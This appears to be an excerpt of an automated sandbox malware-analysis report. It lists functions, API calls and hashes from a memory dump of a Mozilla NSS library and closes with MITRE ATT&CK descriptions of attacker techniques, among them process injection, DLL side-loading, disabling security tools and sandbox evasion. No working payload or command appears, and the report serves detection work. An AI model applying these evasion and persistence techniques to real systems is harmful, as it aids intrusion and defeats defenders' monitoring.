Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C669116
Part of subcall function 6C669090: LeaveCriticalSection.KERNEL32 ref: 6C66913F

Part of subcall function 6C5AE190: PR_EnterMonitor.NSS3(?,?,6C5AE175), ref: 6C5AE19C
Part of subcall function 6C5AE190: PR_EnterMonitor.NSS3(6C5AE175), ref: 6C5AE1AA
Part of subcall function 6C5AE190: PR_ExitMonitor.NSS3 ref: 6C5AE208
Part of subcall function 6C5AE190: PL_HashTableRemove.NSS3(?), ref: 6C5AE219
Part of subcall function 6C5AE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5AE231
Part of subcall function 6C5AE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5AE249
Part of subcall function 6C5AE190: PR_ExitMonitor.NSS3 ref: 6C5AE257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5B1E37
PR_ExitMonitor.NSS3 ref: 6C5B1E4A

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 79226e0484e761aa869166de52321e7e43b47d72e99aab51116cd9c6a9ae8bfa
Instruction ID: b9e03bcfac2fad2cf993df5534e29a73ecdd5054b16b35a23c20f0897eea4378
Opcode Fuzzy Hash: 79226e0484e761aa869166de52321e7e43b47d72e99aab51116cd9c6a9ae8bfa
Instruction Fuzzy Hash: 5B018FB1B0015097EB409F6AEC14F477FA4AB42B5CF204035F919ABB91EB71E824CBD6

Function 6C5B1D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5B1D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C5B1D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C5B1D9C
free.MOZGLUE(00000000), ref: 6C5B1DB8

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 53fc1d05d2f8a9d646cdf1f150705ae0733145b06447502a20a99cc3ef4ae9de
Instruction ID: 0ffe59e38de1b28551a35b86de10bb73f1a046dcd243d86cadc1f0daa5662ca3
Opcode Fuzzy Hash: 53fc1d05d2f8a9d646cdf1f150705ae0733145b06447502a20a99cc3ef4ae9de
Instruction Fuzzy Hash: 93F0F9B26012105BFB505F5A6C51B573A989B81798F100635DD1967B44DA71E40482E5

Function 6C5FFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C5A9003,?), ref: 6C5FFD91

Part of subcall function 6C600BE0: malloc.MOZGLUE(6C5F8D2D,?,00000000,?), ref: 6C600BF8
Part of subcall function 6C600BE0: TlsGetValue.KERNEL32(6C5F8D2D,?,00000000,?), ref: 6C600C15

PORT_Alloc_Util.NSS3(A4686C60,?), ref: 6C5FFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C60,?,?), ref: 6C5FFDC4
free.MOZGLUE(00000000,?,?), ref: 6C5FFDD1

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: a840b4197c07c4a05d5bba91eb8bbaf2a038d4ba1889cee93ac965cec24704c2
Instruction ID: 0c9be5deb42ab95cbec44f049cc54c176b85d563340cc3e97138d2e83e02389e
Opcode Fuzzy Hash: a840b4197c07c4a05d5bba91eb8bbaf2a038d4ba1889cee93ac965cec24704c2
Instruction Fuzzy Hash: 7EF04CF16012026BEB085F55DC8081B77D8EF41298B108174ED19CBF05E721D815CBF5

Function 6C6BCC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C6BCC61
free.MOZGLUE ref: 6C6BCC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C6BCC80
free.MOZGLUE(?), ref: 6C6BCC87

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 7c26cb2a911d8512b96fe3bddf0719fb9a78edcde20dc1c6b987409b2b2e9bd6
Instruction ID: 231bf203378c048ad9c88c4ca07a0d0175373311adec6c00c8daa08650283bc8
Opcode Fuzzy Hash: 7c26cb2a911d8512b96fe3bddf0719fb9a78edcde20dc1c6b987409b2b2e9bd6
Instruction Fuzzy Hash: DCE06576700609AFCB10EFA9DC84C8777BCEE492707150525E692C3740D232F915CBE5

Function 6C599DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C599E1F

Part of subcall function 6C5513C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C522352,?,00000000,?,?), ref: 6C551413
Part of subcall function 6C5513C0: memcpy.VCRUNTIME140(00000000,R#Rl,00000002,?,?,?,?,6C522352,?,00000000,?,?), ref: 6C5514C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6C59A006
ESCAPE expression must be a single character, xrefs: 6C599F78

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: eb6e106172c330160b6ebce866e6acc30575bd53b5c70f47a60a290865f69856
Instruction ID: 71af588d8aafcc9854115d6e99288fea5fad891a2ab03dbc00b45a9fae08b7ca
Opcode Fuzzy Hash: eb6e106172c330160b6ebce866e6acc30575bd53b5c70f47a60a290865f69856
Instruction Fuzzy Hash: 69811E74A042958FDB01CF29C8803A9B7F2AF85318F2886D9D8AD8BB81D735DC46C791

Function 6C5F4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C5F4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C5F4DE6

Strings

%d.%d, xrefs: 6C5F4DDE

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 8580b573f91508c8aa804e0f1c23fa68d82c9d11da3fb833f415b69bfe46178c
Instruction ID: 0af4fa407b9152389b20cdcb8594932dd8538674af7f57a679d4a50d2474e2da
Opcode Fuzzy Hash: 8580b573f91508c8aa804e0f1c23fa68d82c9d11da3fb833f415b69bfe46178c
Instruction Fuzzy Hash: F931ECB2D042196BEB149BA19C05BFF7768DF81308F050469ED259B782EB309906CFB6

Function 6C614CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8al,00000000,00000000,?,?,6C613827,?,00000000), ref: 6C614D0A

Part of subcall function 6C600840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6008B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C614D22

Part of subcall function 6C5FFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C5A1A3E,00000048,00000054), ref: 6C5FFD56

Strings

'8al, xrefs: 6C614D07

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8al
API String ID: 1521942269-238783270
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 9d353dcc8acc3db5173c242aaa3963e4e988034de41432e4b318d05e0bbaabfe
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: B6F06872A1512467DF104E6E9C40B5336DC9B417BEF180271DD28CBF81E6A1CC01C6A6

Function 6C63AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C63AF78

Part of subcall function 6C59ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C59ACE2
Part of subcall function 6C59ACC0: malloc.MOZGLUE(00000001), ref: 6C59ACEC
Part of subcall function 6C59ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C59AD02
Part of subcall function 6C59ACC0: TlsGetValue.KERNEL32 ref: 6C59AD3C
Part of subcall function 6C59ACC0: calloc.MOZGLUE(00000001,?), ref: 6C59AD8C
Part of subcall function 6C59ACC0: PR_Unlock.NSS3 ref: 6C59ADC0
Part of subcall function 6C59ACC0: PR_Unlock.NSS3 ref: 6C59AE8C
Part of subcall function 6C59ACC0: free.MOZGLUE(?), ref: 6C59AEAB

memcpy.VCRUNTIME140(6C703084,6C7002AC,00000090), ref: 6C63AF94

Strings

SSL, xrefs: 6C63AF73

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 6d85f480c1fb907ba3419f4314d478704ed9acf0c98b89c8f407ebb10d81b10c
Instruction ID: a33506571db8ac6a0d3eb131f43bb43c8e192ea4b6354680a524dd25601bd026
Opcode Fuzzy Hash: 6d85f480c1fb907ba3419f4314d478704ed9acf0c98b89c8f407ebb10d81b10c
Instruction Fuzzy Hash: 67214DF2716E68AEDB00DF529543B127AB2B742308710722DD11E4BB2ADB3180089FDD

Function 6C590F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C590936,FFFFE8AE,?,6C5216B7,00000000,?,6C590936,00000000,?,6C52204A), ref: 6C590F1B

Part of subcall function 6C591370: GetSystemInfo.KERNEL32(?,?,?,?,6C590936,?,6C590F20,6C590936,FFFFE8AE,?,6C5216B7,00000000,?,6C590936,00000000), ref: 6C59138F

PR_NewLogModule.NSS3(clock,6C590936,FFFFE8AE,?,6C5216B7,00000000,?,6C590936,00000000,?,6C52204A), ref: 6C590F25

Part of subcall function 6C591110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C590936,00000001,00000040), ref: 6C591130
Part of subcall function 6C591110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C590936,00000001,00000040), ref: 6C591142
Part of subcall function 6C591110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C590936,00000001), ref: 6C591167

Strings

clock, xrefs: 6C590F20

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 2a3a27f644cece9bb53de8dfaf3ad051f304dfd841dff1168e993b530d0a04b0
Instruction ID: 0b61935176a35e588df3ce3fab1667946df6675fa10aaa7a02392f3fac3405ab
Opcode Fuzzy Hash: 2a3a27f644cece9bb53de8dfaf3ad051f304dfd841dff1168e993b530d0a04b0
Instruction Fuzzy Hash: A1D022B27043A8B2C50022979C44F97B3BCC7C32B9F0088BAE00841D104FA454DAD369

Function 6C600DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C600DF5
TlsGetValue.KERNEL32 ref: 6C600E2D
TlsGetValue.KERNEL32 ref: 6C600E58
TlsGetValue.KERNEL32 ref: 6C600E84

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 4d212bcbbd916c576362602592b122eee6030a32267101be7921d0beb1fd979a
Instruction ID: 8114494f7a0e2b2aad0541000ca25bdca38fe776e89a3f42eba788d79b85d6a9
Opcode Fuzzy Hash: 4d212bcbbd916c576362602592b122eee6030a32267101be7921d0beb1fd979a
Instruction Fuzzy Hash: BE31D6B1744380CBDB145F3CCA8429977B4BF4A308F114A6DD899A7A21EF309486CB8A

Function 6C600F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C5A2AF5,?,?,?,?,?,6C5A0A1B,00000000), ref: 6C600F1A
malloc.MOZGLUE(00000001), ref: 6C600F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C600F42
TlsGetValue.KERNEL32 ref: 6C600F5B

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 436e740223525c40e68736d77a6d6411b4855b9312598513f5f35fd8ac010e81
Instruction ID: 89935cb1c0a4af54ebd6683986c99ca14ca2dc28e72efe36c39780e55cb34215
Opcode Fuzzy Hash: 436e740223525c40e68736d77a6d6411b4855b9312598513f5f35fd8ac010e81
Instruction Fuzzy Hash: F90128B1B002809BE7102F3E9F445927BACEF82359F000575ED1CD2A21EB30C815C2EA

Function 6C5B1EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C5B1ECE
free.MOZGLUE(?), ref: 6C5B1EDF
free.MOZGLUE(?), ref: 6C5B1EEF
free.MOZGLUE(?), ref: 6C5B1EF5

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b8a6a1b38059e73c965c888b4eb471d49784269cfd09790e425c906a961825d6
Instruction ID: be69cb0a271495f84334b216be31132c85707df3c702a05afc9fcad7532439b0
Opcode Fuzzy Hash: b8a6a1b38059e73c965c888b4eb471d49784269cfd09790e425c906a961825d6
Instruction Fuzzy Hash: 32F0B4B17005016BEB10DB66EC89D277B6CEF45294B140434EC1AD3A00D736F420C6A5

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

